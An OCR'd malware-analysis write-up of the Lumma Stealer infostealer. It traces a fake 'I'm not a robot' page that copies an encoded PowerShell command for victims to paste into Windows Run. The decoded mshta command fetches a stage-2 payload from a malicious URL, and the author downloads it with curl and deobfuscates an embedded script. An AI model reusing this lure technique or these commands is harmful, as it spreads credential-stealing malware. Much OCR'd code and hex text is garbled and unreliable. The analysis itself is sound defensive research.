Malware Analysis - Lumma Stealer

8] 0Oxmrmagnezi.github.io/malware analysis/LummaStealer/

September 24, 2024

0O0+=O0000000

= . e

1
b
1
v
1
|

] it ek (D et d D) et D bl D OO O -

- -—_—_—000 =O-=O

4 minute read
Sample:

https://ch3[.]dlvideosfre[.]click/human-verify-system[.]html

Background
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https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/

Lumma Stealer (aka LummaC2 Stealer) is an information stealer that has been available
through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least
August 2022. Once the targeted data is obtained, it is exfiltrated to a C2 server.

Static Analysis - Stage 1

This relatively new phishing technique, known as ‘self-pawn,’” uses social engineering to lure
users into executing malicious commands by prompting them to click ‘I'm not a robot as

shown in Figure 1.

X

& D [ Verify YouAre Human x 4+

< G @ nipsy/ch3divideosfre.click/human-verify-system.ntmi DI s B % - O

Verify You Are Human

Please verify that you are a human to continue.

Figure T: T'm not a robots bution

After pressing the button, it instructs the user to use the Run feature in Windows.

l».Screenshot1
Figure 2: After Pressing The Button

After further inspection and using F12 to view the page source, | found a script section that
contained Powershell code, as shown in Figure 2.
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G 5@ DO () Welcome ¢/>Elements E=pConsole i) Sources & Network <7 Performance {8} Memory (3 Application

~ human-verify-system.html X
v (O twop 119 <h3>Verification Steps</h3> -
v O chadvic 129 <p>1. Press Windows Button “<i class="fab fa-windows">¢/i>" + R</p>
—_— 121 <p>2. Press CTRL & V</p>
. DBhuma 7 <p>3. Press Enter</p>
» O cdnjscle 155 </divs
b O owwwgs 124 <fdivs>
125 </div>
126 <script»
127 function verify() {
128 const textToCopy = “powershell.exe -eC bQBzAGgAJABhACAA2ABOAHQACABZADOALWAVAHYAZQBYAGKAZgAUAGL
129 const tempTextArea = document.createElement("textarea™);
130 tempTextArea.value = textToCopy;
131 document . body . appendChild(tempTextArea);
Verify You Are Human 132 tempTextArea.select();
133 document . execCommand (" copy™) ;
Please verify that you are a human to continue. ﬁj document..body. removeChild(tenpTextArea);
136 const recaptchaPopup - document.getElementById("recaptchaPopup™);
. 137 const overlay = document.getElementById("overlay”);
| &% I'm not a robot 138 recaptchaPopup.classList.add("active");
139 overlay.classlist.add("active");
149 }
141
142 const verifyButton = document.getElementById(’verifyButton');
143 verifyButton.addEventlistener( click’, verify);
144 </script>
145 </body>

146 </html>

[l 3

pp— v {) Line133 Column42  Coverage: n/a

Figure 3: F12 To View Page Source

Then, | took the Base64-encoded string and decoded it using CyberChef. The output was a
‘mshta’ command that pointed to a new URL.

Operations Recipe ~omE Input + 0O 8=

bQBzAGEAdABhACAAIABOAHQACABZADOALWAVAHYAZQBYAGKAZGAUAGQADAB2AGKAZAB 1AGEACWBMAHIAZQAUAGMADABPAGMAaW

remove nu ~
[ i AVADIAbgBKAGEACWBVAHIAIQAS

Remove null bytes Alphabet
A-Za-28-9+/=

Remove line numbers
. Remove non-alphabet chars D Strict mode

Favourites *

Dataliormat el

Encryption / Encoding

Public Key w12 =1 Tr how bytes & L

Arithmetic / Logic Output a0m:

Networking mshta https://verif.dlvideosfre.click/2ndhsoru

Language
Utils
Date / Time

Extractors

Compression
STEP w7

. A Auto Bake
Hashing meas =1 @ 12ms Tr Rew oyres & LF

Figure 47 CyberChet Decoding

As shown in Figure 4, | used curl to download the file it attempts to run.

C:\Users\@x\Desktop>curl https://verif.dlvideosfre.click/2ndhsoru —output out.bin
Total Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed
1ee@ 196k 168 196k B u27k ) =—g=—8— —a—a= 1=—1=—— U28k
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Static Analysis -

Stage 2

After downloading the file, | conducted basic triage and static analysis on it.

File name

= | |Ci\Users\0x\Desktopout.bin

File type File size

Detect It Easy w3.09 [Windows 10 Version 2009] (x26_64)

Baze address

Entry point

v | Advanced
PE32 - 196,38 KiB 00400000 00405880 =
Demangle
File info Memary map Disasm Hex Strings Signatures VirusTotal
MIME Visualization Search Hash Entropy Extractor YARA
PE Export Import Resources NET TLS COwverlay
Sections Time date stamp Size of image Resources
0005 s 1993-09-30 06:53:40 0000CO0D Manifest Version
Scan Endianness Mode Architecture Type
Automatic - LE 32-bit 1386 GUI
= PE32
Operation system: Windows(10)[1386, 32-bit, GUI] 5 7
Linker: Microsoft Linker(14.26.28500) 5 ?
Compiler: EP:Microsoft Visual C/C++(2017 v,13.0)[EXE3Z] 5 ?
Compiler: Microsoft Visual C/C++({19.26.28800)[LTCG/C] 5 7
Language: C/C++ 5 i Shartouts
Tool: Visual Studio(2019 version 16.6) 5 ?
Overlay: Binary Options
Signatures ¥ Recursive scan | v | Deep scan Heuristic scan || Verbose About
Scan -
Directory Log All types = 260 msec Exit
Figure 6: Using Detect It Easy
=-&} ci\users\Ox\desktop\out bin encoding (2) size (bytes) location flag (44) label (499) group (14) technique (9) value
4 indicators (file > embedded) . ot E——
QE footprints (count > 14) x import aﬁiCU[FEHtP:DEEEE|[|
"}d _header > 64 bytes) x import GetCurrentProcessld
: = dzzrnauab (esruzziew& byty:gs x import GetCurrentProcessld
vt rich-header (tooling > Visual Studio 2015) g import GetCurrentProcessld
» file-header (executable > 32-bit) x import GetCurrentProcess
* aptional-header (subsystem > GUI) x import | TerminateProcess
1 directories (count > ) x import GetCurrentThreadld
-l sections (count » 5) x import GetCurrentProcess
-5 libraries (count > 7) x Import [ TerminateProcess
nports (flag > 128) x import GetCurrentThread|d
= x import GetCurrentProcess
=0 x import [TerminateProcess
% x import GetCurrentThread|d
x import GetCurrentProcess
rt [ TerminatePy S5
£ debug (reame > 3 T e ceCurenTea
5] manifest (level > asinvoker) x import IsClipbozrdFormatAvailable
version (FileDescription > Microsoft Windows * [ GetClipboardData
- i x import sClipboardFarmatAvailable
w[ ] overlay (signature » unknown) = import GetClipboardData
x import IsClipboardFormatAvailable
x import GetClipboardData
x import |sClipboardFarmatAvailable
overlay x import GetClipboardData
section:.idata x import SystemParametersinfo
x import SystemParametersinfo
overlay x import SystemParametersinfo
overlay x import SystemParametersinfo
< > ¢ -
sha256: TDEEE310F1CD4512D140C34A95F0DBAET6ATI71CHARSFSCAB3ETFAADBFTEFETS cpu: 32-bit  file-type: executable GUI entry-point: (x00005880

Igure /7 Using PEStudio

a/14



ATT&CHK Tactic ATT&CK Technique

Tlll2

Tiele
Tiel2

MBC Objective MBC Behavior

Enumerate PE Sections [B@8uU6.881]

::Delete Registry Value [CPO36.007]
::Query Registry Value [C0036.006]

::Set Registry Key [C0036.001]

[ceeu3]
[ceeu2]
[ces18]

anti-analysis/anti-debugging/debugger-detection
executable/subfile/pe
host-interaction/clipboard
host-interaction/gui/window/find
host-interaction/mutex
host-interaction/process/terminate
(5 matches) host-interaction/registry
(4 matches) host-interaction/registry/create
host-interaction/registry/delete
load-code/pe
(3 matches) load-code/pe

This part made me suspicious that there was much more in the executable than [ initially
noticed. Using the strings command, | found one extremely large string. With a hex editor, |
was able to locate it, as shown in Figure 9.
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F|

ae| out.exe

Offsec(h) OO0 01 02 03 04 05 06 07 08 0% QA QOB OC OD QOE OF Decoded text

OO0OOFFBO 30 65 30 74 30 7C 30 95 30 24 30 Bl 30 CE 30 22 0Oe0Ot0|0-0m0x0io"
QOO000FFCO 31 27 31 3D 31 5B 31 &7 31 84 31 88 31 A4 31 A 1'1=1[1lgl.1"1=1"
OO0OOFFDO 31 C4 31 C8 31 00 00 00 BO 00 00 OC 00 00 00 1C 1RIE1...€.......
QOO0OFFEOQ 32 00 00 Q0 00 OO0 00 OO0 00 00 Q0 00 00 00 00 00 2., ccevenennn
QOO00OFFFO OO0 OO0 00 Q0 00 OO0 00 OO0 00 00 Q0 00 00 00 00 00 .. veeeiemnnenenna
00010000 OO0 OO0 00 Q0 00 OO0 00 OO0 00 00 Q0 00 00 00 00 00 .. ieeeeinvenenns

00010010 OO0 OO0 00 OO0 00 OO0 00 OO0 00 OO0 Q0 00 00 00 00 00 .. veeeeinvnnenna
00010020 00 OO0 00 Q0 00 OO0 00 OO0 Q00 OO0 Q0 00 00 00 00 00 .. veeeeinvnnnnna

00010030 00 00 00 Q0 00 OO0 00 OO0 Q00 OO0 Q0 00 00 00 00 00 .. veeeeimvnnnnna
00010040 OO0 00 00 OO0 00 OO0 00 00 Q0 00 Q0 00 00 00 00 3C .. cueeeeenaunnns <
Q00010050 73 €2 72 €9 70 74 3E OD QA 74 77 &5 3D 21 30 32 |script>..twe=1l02
00010080 3B 45 77 T2 3D 31 31 37 3B SA 46 44 3D 31 31 30 | sEwr=117:ZFD=110
00010070 3B w2 77 52 3D 3% 3% 3B 6B o6 59 3D 31 31 36 3B |rbwR=55:kfY=116&:;
00010080 4E T2 6E 3D 31 30 35 3B 41 4E 4E 3D 31 31 31 3B Nrn=105;ANN=111:
00010090 5& 8% 6F 3D 33 32 3B gE 43 54 3D 3¢ 35 3B 65 58 |Zho=32;nCT=&5;eX
0001000 eF 3D 38 35 3B EE &4 42 3D 38 31 3B 56 €7 45 30 |o=B5:ndB=EB1:;VgE=
000100BO 34 30 3B T3 44 g2 3D 31 30 3e 3B 51 55 T4 3D 37 J40:sJb=10&;QUt=T7
000100C0 33 3B 72 50 6D 3D 34 31 3B eE 6B 56 3D 31 32 33 |3:rPme4l:nkV=123
00010000 3B 4D 51 SA 3D 31 31 38 3B o6 5% 55 3D 3% 37 3B |SMRE=118:fYY=57:
QOO00100ED 44 54 50 3D 31 31 34 3B T1 52 75 3D 37 32 3B 5% |DIP=114:gRu=72:¥
Q00100F0 Te &% 3D 31 30 30 3B 50 &F 54 3D 3¢ 31 3B 50 50 |wi=1l00;PoT=kl:PP
00010100 TA 3D 33 34 3B 54 55 g8 3D 35 38 3B 4C gB T3 3D |2=34:TUh=59:Lks=
00010110 31 30 33 3B 54 £5% 53 3D 31 31 389 3B 43 41 52 3D |103:Ti5=119;CAR=
00010120 34 38 3B T 52 48 3D 36 30 3E 4F 48 45 3D 34 3e |48:xRH=e0;CHE=46
00010130 3B &3 52 4D 3D 321 30 38 3B 70O 43 73 3D 31 30 31 |scBM=108:pCs=101
00010140 3B &8 73 S5A 3D 31 30 34 3B 4C &3 €1 3D 34 33 3B |rhsZ=104:Lca=43:
00010150 53 58 56 3D 31 321 35 3B 57 73 Te 3D 3B 33 3B 73 |ISXV=11l5:Wsv=E83i:s
000101e0 54 gE 3D 31 30 35 3B 6 6B eC 3D 3¢ 37 3B 78 gE [Tn=10%;fk1=6T7;xn
Q0010170 51 3D 3% 31 3B £33 6l &4 3D 3% 33 3B 61 41 &7 ID |=81:cad=S3:alg=
00010180 34 35 3B 4F eD 7g 3D 35 37 3B 6D &5 52 3D 35 3 |45:Cmx=57:meR=5&
00010180 3B TO 65 T2 3D 31 32 35 3B 54 4% 47 3D 31 32 31 | rper=125:TIG=1Z21
0001010 3B 72 e& 83 3D 31 31 33 3B Te 62 55 3D 34 35 3B |rrjc=113:vbY¥Y=45:
000101B0 4C 57 &F 3D 34 34 3B 51 7T &3 3D 35 35 3B &2 T3 |LWo=44:0wh=55:bs
000101CO 4F 3D 35 30 3B 82 45 53 3D 35 31 3B Te 8B &2 3D JC=50;bES=5l1;vkb=
00010100 35 34 3B T4 44 6B 3D 35 32 3E 59 €B 4F 3D 35 33 |54:tDk=52:YkC=53
O00101ED 3B ©4 43 &F 3D 37 34 3B TT7 4D &3 3D 31 32 32 3B |sdCo=T4:wMc=122:
000101F0 &6 48 45 3D 38 38 3B €E &8 T4 3D 37 35 3B 45 4F |fFE=EB;mh=z=T5;EC
00010200 e5 3D 3% 38 3B 73 TS T1 3D 38 32 3B Te vl 72 20 |e=88:syg=B2:wvar

00010210 4B &C eC 20 3D 20 53 74 72 &% 6E &7 2E g& 72 gF K1l = S5tring.fro
00010220 eD 43 68 81 72 43 6F &4 €5 28 T4 77 &5 ZC 45 77 ImCharCode (twe,Ew
Q00010230 72 2C 5A 46 44 2C 62 77 52 2ZC BB eB6£ 59 2C 4E 72 |r,Z2FD,bwR, kEfY, HNr
00010240 ©E ZC 41 4E 4E 2C 54 46 44 2C 5& g8 &F 2C 6E 43 |n,ANN, ZFD, Zho,nC
00010250 54 ZC 65 58 eF ZC BE &4 42 2C 56 &7 45 2C 73 42 |T,eXo,ndB,VgE,sJ
000102e0 e2 2ZC 51 55 T4 2ZC T4 7T &5 2C T2 50 €D 2C 6E &E |b,QUL,twe,rPm,nk
00010270 56 ZC 4D 51 5& ZC 66 55 59 2ZC 44 54 50 2ZC 5A eE IV, MQEZ, £YY,DTF, Zh
00010280 ©F 2C 74 7T &5 2C T1 52 75 ZC 5% Te b8 2ZC 50 gF o, twe,gBu,¥vi,Po
0ool10290 54 ZC S5A e eF 2ZC 50 50 TA 2C 50 50 TA 2C 54 55 T, Zho,PPz,PPz,TU
00010280 &8 2ZC T4 7T &5 ZC 41 4E 4E 2C 44 54 50 2C 54 &% |h, twe, ANN,DTF, Zh
000102B0 eF 2ZC 56 &7 45 2C 4D 51 54 2T &6 55 5% 2C 44 54 D,?EE,HEZ,fYY,DT

Offset(h): 21155 Block(h): 21153-31183 Lengthih): 1002F
FIgUTe 0T UG FIXD

6/14



As marked in Figure 9, it contained a “script” tag. This script was extracted for further
investigation.

This script used a relatively simple obfuscation technique that replaced strings with
characters and then converted them using the fromCharCode function.

<script> B

Yo
var K11 — Ing. frumcharcode(tue ToE, 255, wa ka Wi, 2N, ZFD, 255, TCT, 5%5 735, VGE, 595, GUT, TwE, TPW, 7KV, M7, TYY, DT, 2ho | Twe | GRT, 7T | B0, 2o, TF%, F57, 70K, Twe, AW, BTF, 25, VE, Moz , £, DT, 7h5, Twe
,Lks,TiS,zho, PoT,zho,CAR, TU, Zho , twe, Lks, TiS, Zho, xRH, Zho, sJb,QUt , twe, OHE, cRM,pCs, 2FD, ks, k£Y, hs2, TUh, zho, twe, Lks, TiS,Lca, Lea, rPm, Zho, nkV,M037, £Y¥, DTP, Zho, SXV, ndB, Wsv, Zho, PoT, Zho,Wsv, ka pTR,
Nrn,ZFD,Lks,OHE, twe,DTR,ANN, sTn, £kl ,hsz, £YY, DTP, k1 ANN, Yvi , pCs ,VgE, sJb, QUE, twe ,xnQ, twe  Lks, TiS cad, 2ho, aAg, 2ho, Omx, meR ,meR , rPm, TUh, twe , qRu, ¥vi, Zho, PoT , Zho, twe , qRu, Yvi , Zho,Lca, Zho, SXV,ndB,
Wsv,per,DTP,pCs, kEY,Ewr ,DIP, ZFD, zho , twe, qRu, YVi,per, TUh,MQZ, £YY,DTP, Zho, TTG, ric,Nrn, zho, POT, zho , nCT, eXo, ndB, VGE, xnQ, vb¥, vbY , CAR, CAR, Lo, vbY , CAR, Omx , Omx , Lilo, vb¥ , vbY, CAR, Qwh , L#l0, VDY ,CAR ,meR,,
Omsx, W0, vbY¥,vbY¥, CAR, bsO, Lo, vb¥, vbY ,CAR, bES, Lo, vbY , CAR, Omx, bsO, Lilo,, vbY, CAR, meR , Omx, LWo , vbY¥, CAR , Omx, vkb, Lo, vbY¥, CAR, Omx, vkb , LWo, vbY¥, CAR, bES , tDk, LWo, vbY¥ , CAR,, meR,, Omx, LWo , vbY¥, vbY¥, CAR ,meR, Lifo,
VbY ,CAR,meR,Omsx, LHo , vbY ,CAR, bsO, CAR, Lo, vbY , CAR , bES , bES , LWo , VDY , vbY ,CAR, Qwh, LWo , vbY, CAR, bsO, CAR , LWo, vbY , CAR , bES, Qwh, Lo, VbY , CAR, bSO, CAR, Lo , vbY, CAR, bES , bES, LWo, vbY , CAR ,meR, Omx , Lo , vbY , vb¥ ,
CAR,CAR, Lo, vbY, CAR, bs0, CAR, Lo, vbY , CAR, Qwh, bES, Lilo, vbY , CAR, Omx ,meR , Lifo, vbY , vbY ,CAR, bsO, IWlo, vbY , CAR, meR, Omx, IWo, vbY, vbY¥, CAR, bES, WO, vbY, vbY, CAR, tDk, LWo , vbY, vb¥, CAR, bsO, Lo, vbY, CAR,, Omx , bES,
LW, vbY ,CAR,meR, Qwh , LWlo , vbY, vb¥ , CAR, £Dk, Lilo, vbY , CAR ,meR , Omx, Lo, vbY ,CAR, meR, meR , Lilo, vbY , CAR, bs0, CAR, LW, bY, CAR, bES, bES, LWo , vbY¥, CAR, Omx,meR , LWo, vbY, CAR , Omx , Omx , Lo, vbY¥ , vb¥, CAR, CAR,, LWo , vbY,
CBR,bsO,CAR, Lo, vbY ,CAR , Omx , CAR , Lo , vbY , vb¥ , CAR, YkO , Lilo , vb¥ , CAR , Omx ,meR, LWO, VbY ,CAR,meR, Qwh, Lio , vbY, vbY, CAR , tDk, Lo, vbY , CAR , Omx, bES, Lo, vbY , CAR, Omx , Omx , LWo , vb¥ , CAR, Omx ,meR,, LWo,, vb¥ , CAR , bSO,
CAR,IWo,vbY,CAR, Omx,CAR, Lilo, vb¥ , CAR, YkO, bES, Lilo, vbY ,CAR, vkb, tDk, Lilo, vbY, CAR, Qwh,CAR, Lil0, VbY, CAR , YkO, Omx, Lo, vbY, CAR, vkb,meR , Lo, vbY, CAR, bSO, meR, Lo, vbY , CAR, bsO, tDk, Lo , vbY, vbY, CAR, CAR, Lo,
vbY,vbY,CAR,Quh, LWo, vbY ,CAR, meR, meR, LWo, vbY , CAR, YkO,meR, LWo, vbY, CAR, Omx, vkb, Lio , vbY, vbY, CAR, CAR, LWo, vbY, VbY, CAR, Omx, Lo, VbY , CAR, meR, Qwh, LWo , vbY, CAR, bsO, Omx, LWo, vbY , vbY , vbY, vbY, Lo, vbY , vbY,
CAR,bsO, Lo, vbY,, CAR ,meR , Omx , LWo , vbY , vbY ,CAR, tDk, Lilo, vbY , vb¥ , CAR, YkO, Lo, vbY, vbY ,CAR, bsO, Lo, ¥bY , CAR, Omx, meR , LWo, vbY, CAR, bsO, CAR, LW, vbY , CAR , bES, bES, LWo , vbY¥ , vbY¥ , CAR, bES , LWo, vbY , vbY , CAR , CAR,
LWo, vbY ,CAR, Omx, vkb, Lilo, ¥bY , CAR, Omx , bES , Lilo, vbY , vbY , CAR, t DK, Lilo, vbY ,GAR, bs0O, CAR , Lif0, vbY, CAR, bs0,meR, LW, vbY, CAR, bs0, tDk, Iio , vbY, vbY, CAR, CAR, Lo, vbY, vbY , CAR, Qwh, LWo, vbY , CAR,, meR ,meR, Lo , vbY,
CAR, YkO,meR, Lo, vbY , CAR , Omx, vkb, Lo, vbY, vbY, CAR, CAR, Lilo, vbY , vbY, CAR, Omx, LW, vbY , CAR,meR, Qwh, Lilo , vbY, CAR, bs0, CAR, Lilo, vbY¥, CAR, bES, bES, Lo, vbY , vbY, CAR, bs0, Lo, vb¥, CAR, meR , Omx, LWo, vbY¥ , vbY , CAR,
CAR,LWo,vbY,CAR, Omx, vkb , Lilo, vb¥ ,CAR ,meR, YkO, Lo, vbY ,CAR ,meR , Qwh , Lilo, vbY, CAR, meR , Omx, LWO , vbY, CAR , bsO, CAR, Lo, vbY, CAR, bsO, Qwh , Lo, vbY, CAR, bES , tDk, LWo, vbY ,CAR, bES,, tDk, Lo , vb¥,, CAR, bsO , Qwh , Lifo,,
vbY,CAR,bES,bs0, Lo, vbY ,GAR, bsO, CAR, Lilo, vbY , CAR, bs0 , Qwh , Lilo, vbY , CAR , bES , vkb, Iflo,, vbY, vbY, CAR,meR , LW, vbY, CAR, bs0, tDk, Lilo, vbY , CAR, bs0, vkb, o , vbY, GAR, bs0, CAR, Lilo,, vbY , CAR , bs 0, Qwh , Lo, vbY , GAR,
bs0,0mx, Lilo, VbY, vbY,vbY ,bES, Lo, VY, CAR, tDk, Qwh, IWo , vbY¥,CAR, bsO, tDk, Lo, VbY, vbY , CAR, bES, Lo, vbY , CAR, Qwh, vkb, LWo, vbY¥, CAR, vkb , bs0, Lilo, vbY , CAR ,meR, meR , Lo , vbY , CAR, Omsx, YkO, Lilo, vbY , CAR , Omx , Omx ,
LWo,vbY,vbY,CAR, YkO, Lo, vbY, CAR, bsO, CAR, Lilo, vbY , CAR, tDk, Omx, Lo, vbY ,CAR, bsO, CAR , Lifo, vb¥ , CAR, Omx , CAR, LWo, VbY, CAR, YkO, bES, LWo , vbY¥, CAR, vkb, tDk , LWo, vbY,, CAR , Qwh,, CAR, LWo, vbY , CAR, YkO, Omx , LWo , wbY¥
CAR,vkb,meR, Lo, vbY,CAR, bs0, meR, Lilo, vbY , CAR, bs@, Qwh , Lilo, vbY , CAR, bES , Qwh, Lo, vbY , CAR, YkO, Qwh, Lifo , vbY , CAR, YkO, vkb, Lilo, vbY, CAR , tDk, YkO, Lo, vbY , CAR, YkO, Qwh , Lo, vbY¥, CAR, tDk ,bES, LWo, vbY , CAR, YkO,
Quh,IWo,vbY,CAR, tDk,bES, Lilo, vb¥, CAR, YkO, YkO, LWlo, vbY ,CAR, bES, vkb, Lilo, vbY, CAR, YkO, tDk, Lilo, vbY¥, CAR, YkO, YkO, Lo, VbY, CAR, tDk, vbY , Lo, vbY, CAR, tDk, tDk, LWo, vbY , CAR, YkO, Qwh, LWo , vbY¥, CAR, bES, vkb , Lo,
vbY,CAR,bES, Qwh, LWo , vbY , CAR, YkO, YkO, Lo, vbY, CAR, tDk, Yk, LWo, vbY, CAR , tDk, bES, Lio, vbY, CAR, YKO, Qwh , LWo , vbY, CAR , YKO, vkb, Lo, VbY , CAR, bES, Qwh, LWo , vbY, CAR, YkO, tDk, LW, vbY , CAR ,bES, meR, Lo, vbY , CAR,
DES,Qwh, Lilo, vbY, CAR, tDk,bES, Lo, vbY , CAR, bES, meR, IWo0 , vbY, CAR, tDk, vbY, Lio, vbY, CAR, tDk, YkO, o, vbY , CAR, t Dk, bs0, Lo, vbY, CAR, tDk, Yk0, Lo, vbY , CAR , 5Dk, YkO, Lo, vbY , GAR, YkO,bES , Lil0, vbY , CAR, tDK ,DES ,
LWo, vbY ,CAR, YkO,meR, Lo, vbY, CAR, YkO, tDk, Lilo, vbY, CAR, tDk, vbY, Lo, vbY ,CAR, bES, vkb, Lilo, vbY, CAR, YkO, ¥YkO, LWo, VbY, CAR, t Dk, tDk, LWo , vbY¥, CAR, tDk, ¥k0, LWo, vbY, CAR, ¥kO, bES, Lo, vbY , CAR, t Dk, bES , LWo , vbY,
CBR, tDk,vbY,LWo, vbY,CAR, YkO, meR, Lio, vbY ,CAR, bES , Qwh , Lilo, vb¥ , CAR , bES , vkb, LWO, VbY , CAR, bES , Qwh, Lio , vbY, CAR, bES , Omx, Lo, vbY , CAR, ¥kO, t Dk, Lo, vbY¥ , CAR, bES,, vkb , Lo, vbY¥, CAR, tDk, ¥kO, LWo, vbY¥ , CAR , bES,,
meR, Lo, vbY,CAR, tDk,bs0,Lilo, vbY, CAR,bES, Omx, Lo, vbY , CAR, tDk, vbY, LWo,, vbY, CAR, tDk, tDk, Lo, vbY,CAR, tDk, YkO, Lo, vbY, CAR, bES , Qwh , Lo, vbY , CAR,, bES , Qwh , Lo, vbY , GAR, YkO, YkO, Lo, vbY , CAR, tDk, tDk ,Lilo,
vbY,CAR, tDk,CAR, LWo, vbY , CAR, YkO, bES, Lo, vbY, CAR, YkO,meR, LWo, VDY, CAR ,bES, vkb, Lio, vbY,CAR, YKO, tDk, LWo, vbY, CAR, bES,meR, Lo, VbY , CAR, YkO, meR, LWo , vbY, CAR, bES , vkb, LWo, vbY, CAR , bES, Qwh, LWo , vbY , CAR,
tDk,vbY, Lo, vbY, CAR, tDk,bsO, Lo, vbY , CAR, t Dk, CAR, Lilo, vbY , CAR, YkO, bES , Lio, vbY, CAR, tDk,CAR, Lo, vbY , CAR, YXO, Qwh, LWo, vbY, CAR, tDk,bES, LWo, vbY, CAR , tDk, bES, LWo , vbY¥, CAR, tDk, bES , LWo, vbY, CAR, tDk, vbY,
W0, vbY ,CAR, bES ,meR, Lilo, ¥bY , CAR, bES ,meR, Lilo, vbY , CAR , bES ,meR , Lilo , vbY , GAR, YkO, YkO, Lifo, vbY, CAR, bES ,meR, LWo, vbY, CAR, tDk, YkO, Iio , vbY, CAR, YkO, tDk , Lo, vbY, CAR ,bES , Qwh, LWo, vbY , CAR, t Dk, bs0, Lo , vbY,
CER, YkO, vkb, LWo, vbY,CAR, tDk, YkO, LWo , vbY ,CAR, bES, Omx , Lilo,, vbY , CAR, YkO,Qwh, LW, vbY , CAR, t Dk, vbY, Lilo , vbY, CAR, tDk, YkO, LWo, vbY¥, CAR, ¥kO, vkb, LWo, vbY , CAR, bES, Qwh , LWo,, vbY¥, CAR, bES , vkb, LWo, vbY, CAR, DK,
vbY¥,LWo,vbY,CAR, YkO,bES, Lilo, vbY, CAR, tDk, vbY, Lo, vbY ,CAR, t DK, CAR, Lilo, vbY, CAR, YkO,meR, LWO, vbY, CAR , bES , meR, Lo, vbY, CAR, bES, Qwh , Lo, vbY, CAR, bES ,meR, LWo,, vbY , CAR, YkO, meR, Lo , vb¥,, CAR, YkO ,meR, Lo,
vkY,CAR, tDk,bES, Lo, vbY , CAR, bES , Omx , Lo, vbY, CAR, tDk ,bES , LWo, vbY, CAR ,bES, meR, Lflo, vbY, CAR, tDk, vbY , LW, vbY, CAR, Yk, vkb, Lo, vbY , CAR, YkO, bES, Lo , vbY, CAR, YkO, bES, Lo, vbY¥, CAR, tDk, bES , Lo, vbY ,CAR,
tDk,bs0, Lo, vbY, CAR, tDk , bES, LWo, VbY , CAR, bES, Qwh, Lilo, vbY , CAR, bES , Omx , LiWo, vbY , CAR, YKO, YKO, Lo, vbY , CAR, bES, Omx, LWo, vbY, CAR, tDk,bs0, LWo, vbY,CAR, tDk, CAR, LWo , vbY, CAR, tDk, YkO, LWo, vbY, CAR, tDk,bsO,
LWo, vbY ,CAR, YkO,meR, Lo , vbY, CAR, YkO, Qwh, Lilo, vbY , CAR, YkO, vkb, Lo, vbY , CAR, YO, tDk, Lifo, vb¥ , CAR, YkO,vkb, LWo, VbY, CAR, tDk, YkO, LWo , vbY¥, CAR, YkO, vkb , LWo, vb¥,, CAR , bES , Qwh, LWo, vbY , CAR, t Dk, bES , Lo, vbY
CAR, tDk,bES, LWo, vbY,CAR, ¥kO, YkO, Lo, vbY , CAR, tDk, tDk ,Lilo, vbY, CAR, YkO,meR, LW, vbY , CAR, YKO, tDk, Lio , vbY,CAR, tDk, CAR, Lio, vbY¥, CAR ,bES, vkb, Lo, vbY , CAR, YkO, vkb , Lo, vbY¥, CAR, bES , Omx,, LWo, vbY , CAR, YkO,
tDk,IWo,vbY,CAR, bES ,Omx , Lo, vbY , CAR, tDk,bs0, Lilo, vbY ,CAR, bES, vkb, Lilo, vbY, CAR, tDk, YkO, Lo, vbY,CAR , tDk,CAR, Lo, VbY, CAR, tDk, bES , LWo, vbY, CAR, YkO,Qwh, LWo, VbY , CAR, YkO, bES, LWo , vbY, CAR, bES ,meR, Lifo,
vbY,CAR, tDk,CAR, LWo, vbY , CAR, YkO, bES , Lo, vbY , CAR, bES , Gwh , LWo , VDY , CAR ,BES , Omx, LWo , vbY, CAR, YKO, Owh , LWo , vbY , CAR , tDk, tDk, Lo, vbY , CAR, bES, vkb, Lo , vbY¥, CAR, YkO, bES, Lo, vbY, CAR, ¥kO, YkO, Lo , vbY , CAR,
tDk, vbY,Lilo, vbY, CAR, tDk ,bES, Lo, vbY , CAR, bES , Qwh , Lilo , vbY , CAR, bES , vkb , Lilo, vbY , CAR, YkO,bES, Lilc, vbY , CAR, bES,, meR, LWo, vbY, CAR, YKO,,meR, LWo, vbY, CAR , bES, Omx, Lo , vbY , CAR, tDk; tDK , LWo,¥b¥, CAR, tDk ,bso,
LWo, vbY,CAR, tDK, vbY, Lo, vbY, CAR, tDk,bs0, Lilo, vbY, CAR, tDk, vbY, Lo, vbY ,CAR, bES, Omx , Lifo, vbY , CAR, YkO, bES, LW, vbY, CAR, tDk, CAR, LWo , vbY, CAR, YkO,meR , LWo, vbY, CAR , bES , vkb, Lo VbY; CAR, kO, Yke,TWo , vbY,
AR, bES, vkb,LWo, vbY,CAR, YkO, tDk, Lo, vbY, CAR, YkO, YkO, LWo, vbY, CAR  bES , Omx, LWo, vbY , AR, bES, Omx, Lo, vbY , CAR, YkO, Qwh, LWo, vbY¥ ,CAR, tDk, vbY, LWo, vbY ,CAR, tDk, bES , LWo,, vb¥, CAR, tDk, ¥kO,LWo, vbY ,CAR, ¥ko, v

JavaScriptfile length : 69,806 lines : 4 Ln:3 Col:1 Pos:ddg Windows (CRLF)  UTF-8 NS

Figure 107 Marking I'ne Critical Replacement

For the next part, | wrote a simple PowerShell script to output what this function executes,
without the risk of it being executed.

SasciiCodes =

5 = -join ($asciiCedes | ForEach-Object { [charl$_ })

firite—Output $command

igure 11: PS Script To Print The Output

Using this script, | was able to print the executed code to the console. It appears to be
another layer of obfuscated code that requires further investigation.
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Ps_C:\Users\Ox\Desktop\New folder > .\test.psl
Function AIJQ(]If)[\'ar fHd= ; for (\'ar fgw 0; fgw < jIf.length; fgw++) {var sQs = H i AUQ([1100,1099,1107,1089,1102,11
108

:
,1096,1096,1034, lUb' 1020,103/,1020,1033,1089,1100, IUZU 10 1102,1089,111 4 110-’1,1( .10 98,1099,1100,1020,1090,11
,1104,1093,10 i oAk ,10 9,1068,1028,1024,1100,1107,1088,10 1 1111,1102,1089,1104,1 1098, ,1100,1096,1093,11
,1024,11 0,11( 5 ,11 10 1 ,1( 5 4, 1032,1020,1027,1036,1108,1024,1026,1020,102 ,1(129,1113,10 5

4 ,1062,10: 1095, 1000 1105 102(! 1049, 1020 1090, 1053 1064,1070,1059, 10 1(2 1037,105 , 1 '3 1(1-13 1055,1036,1054,1055,1041,1044,1057,1036,1037,1055,1045,10

43, 11057 ,105[7 10 1()54,1038,1037,1043.1038,1041,1045,1042 1045,1045,1053,1043,10 1037.103[1 1037,1039,1054,1036,1045,1038,1042,1039,1041,10

